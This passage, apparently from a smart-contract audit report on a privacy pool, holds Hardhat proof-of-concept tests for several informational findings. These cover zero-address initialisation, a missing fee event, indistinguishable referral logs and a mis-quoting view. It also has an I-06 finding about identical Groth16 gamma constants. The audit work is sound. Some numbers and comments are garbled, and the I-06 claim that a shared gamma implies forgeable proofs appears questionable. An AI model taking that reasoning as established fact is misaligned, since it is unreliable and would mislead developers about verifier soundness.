    it(`d=${d}: ERC-20 views over-report the indicator by exactly ${factor}x`, async () => {
      const s = await stackOver(d);

      // What the pinned base would have stored if the host had passed the EFFECTIVE decimals
      // (i.e. `decimals()` == min(d, 6)), which is exactly what FHERC20Core.sol:83 derives.
      const correctTick = tick(Math.min(d, 6));
      assert.notEqual(correctTick, s.indicatorTick);
      assert.equal(s.indicatorTick / correctTick, factor);

      // Concretely: the observed balance is `factor` times the value the documented
      // "starts at 7984.0000" indicator requires, expressed in the token's own base units.
      const observed = s.balanceOf;
      const documented = INDICATOR_FIRST * correctTick;
      assert.equal(observed, documented * factor);

      // And `decimals()` is the ONLY scale a reader has, so it cannot recover the error:
```

```
      // observed / 10**decimals() disagrees with documented / 10**decimals() by `factor`.
      const scale = 10n ** BigInt(s.wrapperDecimals);
      assert.equal(observed / scale, (documented / scale) * factor);
    });
  }

  // ---- control: for d ⩾ 6 both derivations agree, so the defect is not a global mis-derivation --
  it("control: d=18 and d=6 agree exactly (literal 6 is correct only above the cap)", async () => {
    for (const d of [18, 6]) {
      const s = await stackOver(d);
      assert.equal(s.indicatorTick, tick(Math.min(d, 6)));
      assert.equal(s.balanceOf, INDICATOR_FIRST * tick(Math.min(d, 6)));
    }
  });
});
```

Test source for the initializer zero-check observation (first I-05 row, 3 of 3 tests passing, re-executed against the audited source) (exact).

File: `packages/contracts/test/poc/poc-F-CIR-04.test.js` **Run:** `npx hardhat test nodejs test/poc/poc-F-CIR-04.test.js`

```
import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { encodeFunctionData, keccak256, zeroAddress } from "viem";
import { connectWithMocks } from "../fhenix/helpers.js";
import {
  CIPHERTEXT_LENGTH,
  FORMAT_CONFIDENTIAL,
  N_INS_LARGE,
  POLICY,
  ciphertext,
  hashExt,
  makeProof,
  publicAmount,
  randomField,
} from "../fhenix/pool-fixture.js";

const PROXY_FQN =

"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol:TransparentUpgradeableProxy";
const LEVELS = 20;

function note(line) {
  process.stdout.write(`      [obs] ${line}\n`);
}

describe("PoC F-CIR-04: initialize stores verifier/verifier16 unchecked", async () => {
  const conn = await connectWithMocks();
  const { viem } = conn;
  const publicClient = await viem.getPublicClient();
  const wallets = await viem.getWalletClients();
  const owner = wallets[0];
  const chainId = BigInt(await publicClient.getChainId());

  async function deployPool(o) {
    const verifier = o.verifier ?? (await viem.deployContract("ExpectingVerifier"));
    const verifier16 = o.verifier16 ?? (await viem.deployContract("ExpectingVerifier"));
    const hasher = o.hasher ?? (await viem.deployContract("MockHasher"));
    const registry = await viem.deployContract("LocalPredicateRegistry", [owner.account.address]);
    const implementation = await viem.deployContract("PrivacyPool");
    const init = encodeFunctionData({
      abi: implementation.abi,
      functionName: "initialize",
      args: [
        verifier.address ?? verifier,
        verifier16.address ?? verifier16,
        hasher.address ?? hasher,
        LEVELS,
        keccak256("0xf1c04"),
        0,
        0,
        registry.address,
        POLICY,
        owner.account.address,
      ],
    });
```

```
    const proxy = await viem.deployContract(PROXY_FQN, [implementation.address, owner.account.address,
init]);
    const pool = await viem.getContractAt("PrivacyPool", proxy.address);
    return { pool, verifier, verifier16, hasher };
  }

  function extFor(pool, over = {}) {
    return {
      recipient: zeroAddress,
      extAmount: 0n,
      withdrawFee: 0n,
      encryptedOutputs: [ciphertext(1), ciphertext(2), ciphertext(3)],
      chainId,
      pool,
      asset: 0,
      format: FORMAT_CONFIDENTIAL,
      depositId: `0x${"00".repeat(32)}`,
      referrer: zeroAddress,
      ...over,
    };
  }

  it("initialize accepts address(0) for verifier16 and for verifier", async (t) => {
    const zero16 = await deployPool({ verifier16: zeroAddress });
    const stored = await zero16.pool.read.verifier16();
    note(`initialize(verifier16=address(0)) returned normally; verifier16() reads ${stored}`);
    assert.equal(stored, zeroAddress, "no check rejected a zero verifier16 at initialization");

    const zeroV = await deployPool({ verifier: zeroAddress });
    const storedV = await zeroV.pool.read.verifier();
    note(`initialize(verifier=address(0)) returned normally; verifier() reads ${storedV}`);
    assert.equal(storedV, zeroAddress, "no check rejected a zero verifier at initialization");

    const code = await publicClient.getCode({ address: stored });
    note(`eth_getCode(${stored}) = ${code ?? "undefined"}`);
    assert.ok(!code || code === "0x", "the stored verifier16 address carries no code");
  });

  it("a 16-nullifier transact reaches :719 and reverts on the codeless verifier16", async (t) => {
    const zero16 = await deployPool({ verifier16: zeroAddress });
    const control = await deployPool({});

    const rootZero = await zero16.pool.read.getLastRoot();
    const rootCtl = await control.pool.read.getLastRoot();
    note(`root(zero-verifier16 pool) = ${rootZero}`);
    note(`root(control pool)         = ${rootCtl}`);
    assert.equal(rootZero, rootCtl, "both pools share the empty-tree root, so one proof fits both");

    const extZero = extFor(zero16.pool.address);
    const extCtl = extFor(control.pool.address);
    const nullifiers = Array.from({ length: N_INS_LARGE }, () => randomField());
    const commitments = [randomField(), randomField(), randomField()];
    const pZero = makeProof(rootZero, extZero, { nullifiers, commitments });
    const pCtl = makeProof(rootCtl, extCtl, { nullifiers, commitments });
    note(`proof: inputNullifiers.length = ${pZero.inputNullifiers.length}, publicAmount =
${pZero.publicAmount}`);
    assert.equal(pZero.publicAmount, publicAmount(0n));
```

```
    assert.equal(pZero.extDataHash, hashExt(extZero));

    const ctlHash = await control.pool.write.transact([pCtl, extCtl], { account: wallets[0].account });
    const ctlRcpt = await publicClient.waitForTransactionReceipt({ hash: ctlHash });
    note(`control pool transact status = ${ctlRcpt.status}, gasUsed = ${ctlRcpt.gasUsed}`);
    assert.equal(ctlRcpt.status, "success", "the identical 16-input proof is accepted where verifier16
has code");

    const error = await zero16.pool.write
      .transact([pZero, extZero], { account: wallets[0].account })
      .then(
        () => null,
        (e) => e,
      );
    assert.ok(error, "the same transact must fail where verifier16 is address(0)");
    const data = error.cause?.data ?? error.data ?? error.cause?.cause?.data;
    note(`zero-verifier16 transact shortMessage: ${error.shortMessage}`);
    note(`zero-verifier16 transact revert data: ${data ?? "undefined"}`);
    note(`zero-verifier16 transact first metaMessage: ${error.metaMessages?.[0] ?? "none"}`);

    const named = `${error.shortMessage} ${error.details ?? ""} ${(error.metaMessages ?? []).join("
")}`;
    for (const selector of [
      "InvalidInputCount",
      "UnknownRoot",
      "NullifierSpent",
      "DuplicateNullifier",
      "CommitmentOutOfField",
      "IncorrectExtDataHash",
      "InvalidPublicAmount",
      "InvalidRecipient",
      "InvalidProof",
    ]) {
      assert.ok(!named.includes(selector), `revert is not the named pool error ${selector}`);
    }
    assert.ok(
      (data === undefined || data === "0x" || data === null) || String(data).length <= 2,
      `the revert carries no reason data (ABI-decode failure of a bool from empty returndata), got
${data}`,
    );
  });

  it("a zero hasher cannot reach storage: initialize reverts inside the tree init loop", async (t) => {
    const error = await deployPool({ hasher: zeroAddress }).then(
      () => null,
      (e) => e,
    );
    assert.ok(error, "initialize(hasher=address(0)) must revert, not store a zero hasher");
    note(`initialize(hasher=address(0)) failed at proxy deployment: ${error.shortMessage}`);

    const zeroHashCode = await publicClient.getCode({ address: zeroAddress });
    note(`eth_getCode(address(0)) = ${zeroHashCode ?? "undefined"}
(CIPHERTEXT_LENGTH=${CIPHERTEXT_LENGTH})`);
  });
});
```

Test source for the fee-balance event observation (passes on the audited source and fails on a patched source that emits the balance) (exact).

File: `packages/contracts/test/poc/poc-F-EVT-01.test.js` **Run:** `npx hardhat test nodejs test/poc/poc-F-EVT-01.test.js`

```
/**
 * PoC for F-EVT-01 (Info, event-observability).
 *
 * Claim under test: `protocolFees[_extData.asset] += fee` at PrivacyPool.sol:646 credits the fee ledger
 * and emits nothing, while BOTH debits of the same mapping (PrivacyPool.sol:795, reached from
 * `collectFees`:417 and `claimReferral`:431) publish their amount via `FeesCollected` (:418) /
 * `ReferralClaimed` (:432). No event in the pool's ABI carries a fee, liability or reserve balance.
 * A log-only consumer therefore sees every outflow and no inflow, so its `protocolFees`
 * reconstruction drifts monotonically below the on-chain value.
 *
 * Harness: the repository's own `poolHarness()` - REAL PrivacyPool behind a real
 * TransparentUpgradeableProxy, REAL ConfidentialWrapper + ERC20ConfidentialLib, CoFHE mocks from
 * @cofhe/hardhat-3-plugin. Only the Groth16 verifier is the repository's ExpectingVerifier test
 * double (as in the project's own acceptance suite); no audited logic is replaced, and this claim
 * reads only real receipts, real logs and the real public getter.
 *
 * Correctness oracle: the reconstruction below consumes any event parameter named
 * `protocolFees` / `feesBalance` / `balance` when one exists, so it succeeds the moment the
 * recommended `ProtocolFeesChanged` event is added. This file therefore PASSES on the vulnerable
 * source and FAILS on the patched source (see the verdict's two-sided run).
 */
import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { parseEventLogs } from "viem";
import { FORMAT_CONFIDENTIAL, N_INS, poolHarness, withdrawFeeOf } from "../fhenix/pool-fixture.js";
import { USDC } from "../fhenix/helpers.js";

const ASSET = 1;
const FEE_BPS = 100; // 1 % withdrawal fee
const SHARE_BPS = 0; // no referral reservation, so collectFees can reach the whole balance
const UNIT = 10_000n;
const BALANCE_PARAMS = /^(protocolFees|protocolFee|feesBalance|feeBalance|balance)$/;

describe("PoC F-EVT-01: the fee-ledger credit is published by no log while both debits are", async () =>
{
  const h = await poolHarness();
  const [, alice] = h.wallets;
  const d = await h.deploy([USDC], { withdrawFeeBps: FEE_BPS, referralShareBps: SHARE_BPS });
  const treasury = h.wallets[5].account.address;
  const fee = withdrawFeeOf(UNIT, FEE_BPS); // ceil(10_000 * 100 / 10_000) = 100, PrivacyPool.sol:436-
437

  /** Every log this pool emitted in `hash`, decoded against the pool's own ABI. */
  async function poolEvents(hash) {
    const r = await h.receipt(hash);
    const logs = r.logs.filter((l) => l.address.toLowerCase() === d.pool.address.toLowerCase());
    return parseEventLogs({ abi: d.pool.abi, logs, strict: false });
  }

  /**
   * The `protocolFees[ASSET]` value a consumer restricted to `eth_getLogs` can derive from the given
   * event groups. It starts at zero (the pool's initial state) and applies every published fee delta,
   * taking a published balance whenever the log set offers one - the hook the recommended fix
satisfies.
   */
  function logOnlyProtocolFees(eventGroups) {
```

```
    let running = 0n;
    let sawBalance = false;
    for (const e of eventGroups.flat()) {
      const args = e.args ?? {};
      for (const [name, v] of Object.entries(args)) {
        if (BALANCE_PARAMS.test(name) && typeof v === "bigint") {
          running = v;
          sawBalance = true;
        }
      }
      if (e.eventName === "FeesCollected" || e.eventName === "ReferralClaimed") running -= args.amount;
    }
    return { value: running, sawBalance };
  }

  it("credits 100 units of protocolFees in a receipt carrying the value in no log payload", async () =>
{
    // 1. Fund a note. No fee is charged on a deposit, so the ledger is empty.
    await h.publicDeposit(d, 1, UNIT, ASSET, N_INS);
    assert.equal((await h.liabilities(d, ASSET)).fees, 0n, "protocolFees is zero before any
withdrawal");

    // 2. Withdraw the whole note. This is the ONLY increment of protocolFees (:646).
    const w = await h.spend(d, { units: UNIT, asset: ASSET, recipient: alice.account.address, caller: 1
});
    assert.equal((await h.liabilities(d, ASSET)).fees, fee, "the withdrawal credited protocolFees by the
fee");

    // 3. Read back every event the pool emitted for that withdrawal, from the real receipt.
    const wl = await poolEvents(w.hash);
    const wNames = wl.map((e) => e.eventName);
    assert.ok(wNames.length > 0, "the withdrawal receipt does carry pool events, so this is not a
vacuous log set");
    assert.ok(!wNames.includes("FeesCollected"), "no FeesCollected on the credit route");
    assert.ok(!wNames.includes("ReferralClaimed"), "no ReferralClaimed on the credit route");

    // 4. The credited value is in no log payload: no decoded argument of any emitted event equals it.
    const argValues = wl.flatMap((e) => Object.values(e.args ?? {}));
    assert.ok(argValues.length > 0, "the emitted events carry arguments to inspect");
    assert.ok(argValues.every((v) => v !== fee), `no argument of ${wNames.join(",")} equals the credited
fee ${fee}`);

    // 5. Partial payout, so a reconstruction has a non-zero on-chain balance to be wrong about.
    const collectHash = await d.pool.write.collectFees([ASSET, 60n, treasury, FORMAT_CONFIDENTIAL]);
    const cl = await poolEvents(collectHash);
    const collected = cl.filter((e) => e.eventName === "FeesCollected");

    // 6. The debit route IS published, with exactly the debited amount.
    assert.equal(collected.length, 1, "collectFees does emit FeesCollected");
    assert.equal(collected[0].args.amount, 60n, "FeesCollected.amount is exactly the debited fee");

    // 7. Log-only reconstruction versus the getter. Debits observed: 60. Credits observed: none.
    const onchain = (await h.liabilities(d, ASSET)).fees;
    assert.equal(onchain, fee - 60n, "the true remaining balance is 100 - 60 = 40");
    const derived = logOnlyProtocolFees([wl, cl]);
    assert.equal(derived.sawBalance, false, "no emitted event carries the fee balance");
```

```
    assert.equal(derived.value, -60n, "the log-derived ledger ran the debit it saw and never the credit
it did not");
    assert.notEqual(derived.value, onchain, "log-only reconstruction diverges from the getter");

    // 8. The divergence is exactly the unlogged credit, and it is one-directional: the monitor can
    //    only ever lose credit, so it will eventually report the fee reserve exhausted while the
    //    on-chain reserve is positive. A monitor that clamps at zero - the only sane presentation of
    //    a negative fee balance - reads 0 while the pool holds 40, i.e. "fee reserve exhausted".
    assert.equal(onchain - derived.value, fee, "the reconstruction is short by exactly the credited
fee");
    assert.ok(derived.value < onchain, "the drift is monotonically low, never high");
    assert.equal(derived.value > 0n ? derived.value : 0n, 0n, "a clamped monitor reports an empty fee
reserve");
    assert.ok(onchain > 0n, "while the on-chain reserve is in fact non-empty");

    // 9. The getter that repairs it is a point read, not a path: the value is public NOW, and it is
    //    the history and the attribution that the log stream cannot supply.
    assert.equal(await d.pool.read.protocolFees([ASSET]), onchain, "the getter still answers
correctly");
  });
});
```

Test source for the shared ReferralBonusSet event observation (2 of 2 tests passing) (exact).

File: `packages/contracts/test/poc/poc-F-EVT-02.test.js` **Run:** `npx hardhat test nodejs test/poc/poc-F-EVT-02.test.js`

```
/**
 * PoC for F-EVT-02 (Info, event-observability).
 *
 * Claim under test: `revokeReferralBonus` (PrivacyPool.sol:402-406, emits at :405) and
 * `setReferralBonus` (:378-399, emits at :398) write the same event type declared once at :207,
 * `ReferralBonusSet(address indexed referrer, uint16 fixedBps, uint16 expiringBps, uint64 expiresAt,
 * uint64 issuedAt)` - no writer discriminator, no separate revoke event - and :389 accepts an
 * all-zero `(fixedBps, expiringBps)` pair, so the signer path can produce the identical payload.
 * An off-chain consumer therefore cannot attribute a zero payload to its writer.
 *
 * Harness: the repository's own `poolHarness()` - REAL PrivacyPool behind a REAL
 * TransparentUpgradeableProxy, real CoFHE mocks from @cofhe/hardhat-3-plugin, real ECDSA
 * attestation signed by a real `bonusSigner` key. Nothing about the mechanism is mocked: both
 * logs are read from real transaction receipts and compared as raw topics+data.
 */
import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { decodeEventLog, getAddress, keccak256, toBytes } from "viem";
import { generatePrivateKey, privateKeyToAccount } from "viem/accounts";
import { USDC } from "../fhenix/helpers.js";
import { poolHarness } from "../fhenix/pool-fixture.js";

/** The one declaration at PrivacyPool.sol:207, as an indexer normalises it. */
const EVENT_SIG = "ReferralBonusSet(address,uint16,uint16,uint64,uint64)";
const TOPIC0 = keccak256(toBytes(EVENT_SIG));

describe("PoC F-EVT-02: revocation and a zero attestation are one log", async () => {
  const h = await poolHarness();
  const [, , carol] = h.wallets;
  const REF = carol.account.address;
  const signer = privateKeyToAccount(generatePrivateKey());

  /** The pool's own logs from the receipt of `hash` (one tx, so no cross-contamination). */
  const poolLogs = async (d, hash) => {
    const r = await h.publicClient.getTransactionReceipt({ hash });
    const pool = d.pool.address.toLowerCase();
    return r.logs.filter((l) => l.address.toLowerCase() === pool);
  };

  it("setReferralBonus(0,0,0,T) and revokeReferralBonus() at T emit byte-identical logs", async () => {
    const d = await h.deploy([USDC], {
      withdrawFeeBps: 100,
      referralShareBps: 2500,
      bonusSigner: signer.address,
    });

    // T is a timestamp the signer may attest and a later block may land on.
    const T = (await h.latestTime()) + 10_000n;
    const zeroAttestation = { referrer: REF, fixedBps: 0, expiringBps: 0, expiresAt: 0n, issuedAt: T };

    // (1) Anyone submits an all-zero attestation signed by `bonusSigner` (permissionless path).
    const setHash = await h.setBonus(d, signer, zeroAttestation);
    // (2) The owner revokes, in a block whose timestamp is exactly T (:403 `at = block.timestamp`).
    await h.testClient.setNextBlockTimestamp({ timestamp: T });
    const revokeHash = await d.pool.write.revokeReferralBonus([REF]);
```

```
    const setLogs = await poolLogs(d, setHash);
    const revokeLogs = await poolLogs(d, revokeHash);
    assert.equal(setLogs.length, 1, "the attestation tx emits exactly one pool log");
    assert.equal(revokeLogs.length, 1, "the revoke tx emits exactly one pool log");

    // topic0 is keccak256 of the event signature - identical for both writers by construction.
    assert.equal(setLogs[0].topics[0], TOPIC0);
    assert.equal(revokeLogs[0].topics[0], TOPIC0);

    // topic1 is the indexed referrer in both: it carries the subject, never the writer.
    assert.equal(setLogs[0].topics.length, 2);
    assert.deepEqual(setLogs[0].topics, revokeLogs[0].topics);

    // The four non-indexed words are identical, so the whole log is identical.
    assert.equal(setLogs[0].data, revokeLogs[0].data);

    const decode = (log) =>
      decodeEventLog({ abi: d.pool.abi, topics: log.topics, data: log.data });
    const a = decode(setLogs[0]);
    const b = decode(revokeLogs[0]);
    assert.equal(a.eventName, "ReferralBonusSet");
    assert.equal(b.eventName, "ReferralBonusSet");
    assert.deepEqual({ ...a.args, referrer: getAddress(a.args.referrer) }, {
      ...b.args,
      referrer: getAddress(b.args.referrer),
    });
    assert.deepEqual(
      [getAddress(a.args.referrer), a.args.fixedBps, a.args.expiringBps, a.args.expiresAt,
a.args.issuedAt],
      [getAddress(REF), 0, 0, 0n, T],
    );

    // The resulting state is identical too - only the provenance is lost.
    assert.deepEqual(await d.pool.read.referralBonus([REF]), [0, 0, 0n, T]);
  });

  it("no fallback signal disambiguates: one event in the ABI, no writer topic, no return value", async
() => {
    const d = await h.deploy([USDC], {
      withdrawFeeBps: 100,
      referralShareBps: 2500,
      bonusSigner: signer.address,
    });

    // Exactly one ABI event hashes to this topic0 - there is no sibling revoke event.
    const events = d.pool.abi.filter((x) => x.type === "event");
    assert.equal(events.filter((e) => e.name === "ReferralBonusSet").length, 1);
    assert.equal(events.filter((e) => e.name === "ReferralBonusRevoked").length, 0);
    // Only `referrer` is indexed: no provenance field exists to filter on.
    const decl = events.find((e) => e.name === "ReferralBonusSet");
    assert.deepEqual(
      decl.inputs.map((i) => [i.name, i.type, Boolean(i.indexed)]),
      [
        ["referrer", "address", true],
        ["fixedBps", "uint16", false],
        ["expiringBps", "uint16", false],
        ["expiresAt", "uint64", false],
```

```
          ["issuedAt", "uint64", false],
        ],
      );
      // Neither writer returns anything, so a caller cannot distinguish them by return data either.
      for (const fn of ["setReferralBonus", "revokeReferralBonus"]) {
        const f = d.pool.abi.find((x) => x.type === "function" && x.name === fn);
        assert.deepEqual(f.outputs, [], `${fn} has no return value to signal its writer`);
      }

      // The `issuedAt == block.timestamp` heuristic is NOT a discriminator: a signer attestation
      // lands in a block whose timestamp equals its own issuedAt, exactly like a revocation does.
      const T2 = (await h.latestTime()) + 5_000n;
      await h.testClient.setNextBlockTimestamp({ timestamp: T2 });
      const hash = await h.setBonus(d, signer, {
        referrer: REF,
        fixedBps: 0,
        expiringBps: 0,
        expiresAt: 0n,
        issuedAt: T2,
      });
      const [log] = await poolLogs(d, hash);
      const ev = decodeEventLog({ abi: d.pool.abi, topics: log.topics, data: log.data });
      const block = await h.publicClient.getBlock({
        blockNumber: (await h.publicClient.getTransactionReceipt({ hash })).blockNumber,
      });
      assert.equal(ev.args.issuedAt, block.timestamp, "attestation looks like a revoke to the heuristic");
      assert.equal(await d.pool.read.referralBonus([REF]).then((r) => r[0]), 0);
    });
  });
```

Test source for the referralRewardOf zero-address quote observation (1 test passing) (exact).

File: `packages/contracts/test/poc/poc-F-PP-14.test.js` **Run:** `npx hardhat test nodejs test/poc/poc-F-PP-14.test.js`

```
/**
 * PoC for F-PP-14 (Info, semantic-gap).
 *
 * Claim under test: `referralRewardOf` (PrivacyPool.sol:449-451) reproduces the reward expression
written by
 * `_creditReferral` (PrivacyPool.sol:803) but drops the `if (_referrer == address(0)) return;` guard at
:801,
 * so the view quotes a non-zero reward on exactly the input where the writer credits nothing. The pair
 * therefore already disagrees today; the drift hazard is not hypothetical.
 *
 * Harness: the repository's own ` REAL PrivacyPool behind a real
TransparentUpgradeableProxy,poolHarness()`
 * REAL ConfidentialWrapper + ERC20ConfidentialLib, CoFHE mocks from @cofhe/hardhat-3-plugin. The
Groth16
 * verifier is the repository's ExpectingVerifier test double, which this claim never reads: both
assertions
 * are plaintext integers read off storage and off a public view.
 */
import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { zeroAddress } from "viem";
import { N_INS, poolHarness } from "../fhenix/pool-fixture.js";
import { USDC } from "../fhenix/helpers.js";

const ASSET = 1;
const FEE_BPS = 100;
const SHARE_BPS = 10_000;
const UNIT = 10_000n;

describe("PoC F-PP-14: the dead view quotes a zero-referrer reward the writer never mints", async () =>
{
  const h = await poolHarness();
  const [, alice] = h.wallets;
  const ALICE = 1;
  const d = await h.deploy([USDC], { withdrawFeeBps: FEE_BPS, referralShareBps: SHARE_BPS });

  it("referralRewardOf>0 for address(0) while a zero-referrer deposit credits 0", async () => {
    const quoted = await d.pool.read.referralRewardOf([UNIT, zeroAddress]);
    const formula = (UNIT * BigInt(FEE_BPS) * BigInt(SHARE_BPS)) / (10_000n * 10_000n);

    assert.equal(quoted, formula, "the view evaluates the full :803 expression for the zero referrer");
    assert.ok(quoted > 0n, "the quoted reward is non-zero, so the divergence is observable");

    await h.publicDeposit(d, ALICE, UNIT, ASSET, N_INS, { referrer: zeroAddress });

    assert.equal(await h.credit(d, zeroAddress, ASSET), 0n, "the writer credits address(0) nothing (:801
guard)");
    assert.equal((await h.liabilities(d, ASSET)).referral, 0n, "referralLiability is untouched by that
deposit");

    const credited = await h.credit(d, alice.account.address, ASSET);
    assert.equal(credited, 0n, "a deposit naming nobody as referrer mints no credit anywhere");

    const recheck = await d.pool.read.referralRewardOf([UNIT, zeroAddress]);
    assert.equal(recheck, quoted, "the view still quotes the same non-zero reward afterwards");
    assert.notEqual(quoted, credited, "view and writer disagree on identical inputs");
```

```
  });
});
```

REMEDIATION FIXED

FLUTON

Fixed: the RPC API key has been rotated.

I-06 Identical BN254 Setup Parameters alpha, beta, and gamma Across Distinct Circuits Threaten Cross-Verifier Soundness

SEVERITY INFORMATIONAL STATUS ACKNOWLEDGED LOCATION `Verifier.sol` `Verifier16.sol`

SUMMARY

In `Verifier.sol` and `Verifier16.sol`, `verifyProof` verifies proofs for two distinct R1CS circuits using identical α, β, and γ group elements. While identical α and β points are standard outputs of a universal Phase 1 (Powers of Tau) ceremony, γ is a circuit-specific generator parameter evaluated during Phase 2 setup. Because `gammax1`, `gammax2`, `gammay1`, and `gammay2` are bit-for-bit identical across the 2-input verifier (9 public signals) and the 16-input verifier (23 public signals), the circuits share Phase 2 toxic waste foundations. If the toxic waste from this setup is retained or leaked, an attacker can construct forged proofs satisfying `checkPairing` across both pool verifiers, permitting unauthorized note withdrawals.

FINDING DESCRIPTION

`Verifier.sol` (for `joinSplit(2, 3)`) and `Verifier16.sol` (for `joinSplit(16, 3)`) compile distinct R1CS constraint systems with different constraint counts and public inputs.

CODEBASE LOCATIONS:

- `packages/contracts/contracts/Verifier.sol` (lines 30–43)
- `packages/contracts/contracts/Verifier16.sol` (lines 30–43)
- `packages/contracts/contracts/PrivacyPool.sol` (lines 708–721)

In `packages/contracts/contracts/Verifier.sol` (lines 30–43):

```
30:     uint256 constant alphax  =
5023786534922893272615591522248281074549120285222356388964193018689921754455;
31:     uint256 constant alphay  =
6961147505225522484103898412796599126937976757541981065545729662250719276147;
32:     uint256 constant betax1  =
1567197401196502268973269044214859901240895644392575953739506215865329210943 6;
33:     uint256 constant betax2  =
2039160162273903220606026222399613198293737735522405670817387403449648045639 7;
34:     uint256 constant betay1  =
9648946796421104103351774273946755275155659105407526598635464886267617109835;
35:     uint256 constant betay2  =
1626493168782848848922885695574450351805899390062715660526593900161357024157 6;
36: @>  uint256 constant gammax1 =
1155973203298638710799100402139228578392581286182119253091740315145239180563 4;
37: @>  uint256 constant gammax2 =
1085704699902305713594457076223282948137075635957851808699051999328565585278 1;
38: @>  uint256 constant gammay1 =
4082367875863433681332203403145435568316851327593401208105741076214120093531;
39: @>  uint256 constant gammay2 =
8495653923123431417604973247489272438418190587263600148770280649306958101930;
40:     uint256 constant deltax1 =
1524728213572356309572027512461182576360776724737511925974130188859651601517 4;
41:     uint256 constant deltax2 =
6970307512720636537600588441046606621571024657871651726695098678330677527164;
```

In `packages/contracts/contracts/Verifier16.sol` (lines 30–43):

```
30:     uint256 constant alphax  =
5023786534922893272615591522248281074549120285222356388964193018689921754455;
31:     uint256 constant alphay  =
6961147505225522484103898412796599126937976757541981065545729662250719276147;
32:     uint256 constant betax1  =
1567197401196502268973269044214859901240895644392575953739506215865329210943 6;
33:     uint256 constant betax2  =
2039160162273903220606026222399613198293737735522405670817387403449648045639 7;
34:     uint256 constant betay1  =
9648946796421104103351774273946755275155659105407526598635464886267617109835;
35:     uint256 constant betay2  =
1626493168782848848922885695574450351805899390062715660526593900161357024157 6;
36: @>  uint256 constant gammax1 =
1155973203298638710799100402139228578392581286182119253091740315145239180563 4;
37: @>  uint256 constant gammax2 =
1085704699902305713594457076223282948137075635957851808699051999328565585278 1;
38: @>  uint256 constant gammay1 =
4082367875863433681332203403145435568316851327593401208105741076214120093531;
39: @>  uint256 constant gammay2 =
8495653923123431417604973247489272438418190587263600148770280649306958101930;
40: @>  uint256 constant deltax1 =
1535007373999503676860461862481172173727530318676714315572311838890384527904 3;
41: @>  uint256 constant deltax2 =
3502491520992103747917401939296555080142521349216821416723200581018804649709;
```

1. GROTH16 VERIFICATION ARCHITECTURE

In the Groth16 zero-knowledge proof system, on-chain verification performs an optimal Ate pairing check over the BN254 elliptic curve: $e(A, B) = e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta)$ Where:

- $A \in G_1$, $B \in G_2$, $C \in G_1$ constitute the prover's submitted proof elements.
- $vk_x = IC_0 + \Sigma_{i=1}^{l} x_i \cdot IC_i \in G_1$ represents the multi-scalar multiplication of the public signals with the verification key IC points.
- $[\alpha]_1$, $[\beta]_2$ are generated during **Phase 1 (Powers of Tau)**.
- $[\gamma]_2$, $[\delta]_2$ are generated during **Phase 2 (Circuit-Specific Ceremony)**.

2. COORDINATE COMPARISON: PHASE 1 VS PHASE 2

Direct coordinate inspection of the compiled verifiers reveals:

PARAMETER	VERIFIER.SOL (JOINSPLIT(2,3))	VERIFIER16.SOL (JOINSPLIT(16,3))	MATCH STATUS	CEREMONY PHASE
α_x	`502378653492289327...54455`	`502378653492289327...54455`	**IDENTICAL**	Phase 1 (Universal)
α_y	`696114750522552248...76147`	`696114750522552248...76147`	**IDENTICAL**	Phase 1 (Universal)
β_{x1}, β_{x2}	`15671974..., 20391601...`	`15671974..., 20391601...`	**IDENTICAL**	Phase 1 (Universal)
β_{y1}, β_{y2}	`96489467..., 16264931...`	`96489467..., 16264931...`	**IDENTICAL**	Phase 1 (Universal)
γ_{x1}, γ_{x2}	`11559732..., 10857046...`	`11559732..., 10857046...`	**IDENTICAL**	Phase 2 (Circuit Specific!)
γ_{y1}, γ_{y2}	`40823678..., 84956539...`	`40823678..., 84956539...`	**IDENTICAL**	Phase 2 (Circuit Specific!)
δ_{x1}, δ_{x2}	`15247282..., 69703075...`	`15350073..., 35024915...`	**DIFFERENT**	Phase 2 (Circuit Specific)
δ_{y1}, δ_{y2}	`14026988..., 11023399...`	`11362353..., 18580458...`	**DIFFERENT**	Phase 2 (Circuit Specific)

3. SOUNDNESS IMPLICATIONS OF SHARED Γ

- In snarkjs, when running `snarkjs zkey new circuit.r1cs ptau_file circuit_0000.zkey`, γ is initialized as $[1]_2$ scaled by the Phase 1 parameters.
- If both circuits are deployed directly from an unrandomized initialization or share the exact same Phase 2 contribution step, the secret scalar γ is identical across circuits.
- The δ coordinates differ because the constraint polynomials for 2-inputs vs 16-inputs alter the quotient polynomial evaluations $H(x) \cdot T(x) / \delta$.
- If the Phase 2 multi-party computation ceremony was conducted insecurely, or if toxic waste from the setup process was leaked, possession of γ allows an adversary to forge the pairing term $e(vk_x, \gamma)$ across **both** pool contracts simultaneously, bypassing verification for arbitrary public signals.

IMPACT EXPLANATION

- **Breaks Core Functionality:** Cryptographic proof soundness. If the shared Phase 2 toxic waste or secret scalars (α, β, γ) are known by any party, forged proofs can be verified on-chain.
- **Value at Risk:** Total pool reserves across all supported assets, as forged proofs allow spending non-existent notes or stealing legitimate commitments.
- **Secondary:** Lack of verifiable setup ceremony provenance leaves the protocol vulnerable to undetectable supply inflation.

LIKELIHOOD EXPLANATION

Pre-deployment risk: requires either collusion or failure to properly destroy Phase 2 ceremony toxic waste. Triggerable by an attacker holding the secret evaluation scalars.

PROOF OF CONCEPT

```
function test_verifyPhase2ParameterDuplication() public pure {
    // Verifier.sol gamma coordinates
    uint256 v2_gx1 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
    uint256 v2_gx2 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
    uint256 v2_gy1 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
    uint256 v2_gy2 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;

    // Verifier16.sol gamma coordinates
    uint256 v16_gx1 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
    uint256 v16_gx2 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
    uint256 v16_gy1 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
    uint256 v16_gy2 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;

    // Positive check: Gamma must be circuit-specific in independent Groth16 setups
    assertEq(v2_gx1, v16_gx1);
    assertEq(v2_gx2, v16_gx2);
    assertEq(v2_gy1, v16_gy1);
